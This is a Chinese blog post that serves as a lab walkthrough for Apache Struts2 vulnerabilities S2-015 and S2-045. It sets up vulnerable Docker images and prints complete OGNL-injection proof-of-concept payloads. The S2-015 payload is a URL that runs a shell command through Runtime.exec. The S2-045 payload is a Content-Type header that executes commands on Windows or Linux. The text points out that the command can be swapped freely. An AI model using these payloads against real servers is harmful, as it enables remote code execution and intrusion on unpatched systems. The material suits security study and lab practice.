Str2 漏洞 搭建 简单学习

本文介绍了Struts2的几个重要漏洞,包括S2-015、S2-045和S2-046。针对每个漏洞,提供了官方链接以及受影响的版本范围。特别提到,S2-015可以通过执行Message触发,修复措施是尽快将Struts2更新到最新版本以避免风险。对于Str-048,文章表明分析尚未完成。
摘要由CSDN通过智能技术生成

struts2_s2-015

官方:https://cwiki.apache.org/confluence/display/WW/S2-015

1感谢大佬的项目:https://github.com/Medicean/VulApps/tree/master/s/struts2/

1拉取景象
docker pull medicean/vulapps:s_struts2_s2-015

1运行
docker run -dt(后台运行) --name sqli-labs (名字) -p 80:80 (本地,docker端口 映射) --rm (docker 停止后 ,删除产生所有的镜像) 
docker run -dt --name struts_s2-015 -p 80:8080 --rm  medicean/vulapps:s_struts2_s2-015

在这里插入图片描述

POC:
/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
改变 exec中即可

在这里插入图片描述
Message 执行了

struts2-045

1拉取景象
docker pull medicean/vulapps:s_struts2_s2-045

1运行
docker run -dt(后台运行) --name sqli-labs (名字) -p 80:80 (本地,docker端口 映射) --rm (docker 停止后 ,删除产生所有的镜像) 
docker run -dt --name struts_s2-045 -p 80:8080 --rm  medicean/vulapps:s_struts2_s2-045

在这里插入图片描述

POC1:
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

在这里插入图片描述


                
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值